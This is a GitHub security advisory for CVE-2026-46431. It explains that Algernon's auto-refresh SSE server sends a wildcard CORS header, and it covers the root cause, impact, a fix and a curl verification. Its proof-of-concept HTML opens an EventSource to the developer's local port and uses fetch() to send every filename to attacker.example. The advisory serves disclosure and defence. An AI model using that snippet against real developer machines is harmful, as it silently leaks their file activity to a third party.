CVE-2026-46431: Algernon Auto-refresh SSE Event Server Sets Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hw27-4v2q-5qff",
  "modified" : "2026-06-08T23:27:33Z",
  "published" : "2026-05-20T15:34:40Z",
  "aliases" : [ "CVE-2026-46431" ],
  "summary" : "Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *",
  "details" : "### Summary\n\nThe SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause — hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n<!doctype html>\n<script>\n  const s = new EventSource('http://127.0.0.1:5553/sse');\n  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));\n</script>\n```\n\nThe exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).\n\n### Suggestions to fix\n\n**Primary fix — echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + \"://\" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse > sse.txt &\n    sleep 1\n    echo \"trigger\" >> poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://<algernon>:5553/sse\")` and read the stream.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/xyproto/algernon"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.17.6"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46431"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/xyproto/algernon"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-20T15:34:40Z",
    "nvd_published_at" : "2026-05-26T17:16:51Z"
  }
}